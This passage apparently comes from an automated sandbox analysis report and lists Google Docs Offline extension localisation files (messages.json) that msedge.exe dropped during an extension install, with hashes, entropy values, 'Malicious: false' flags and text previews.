Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
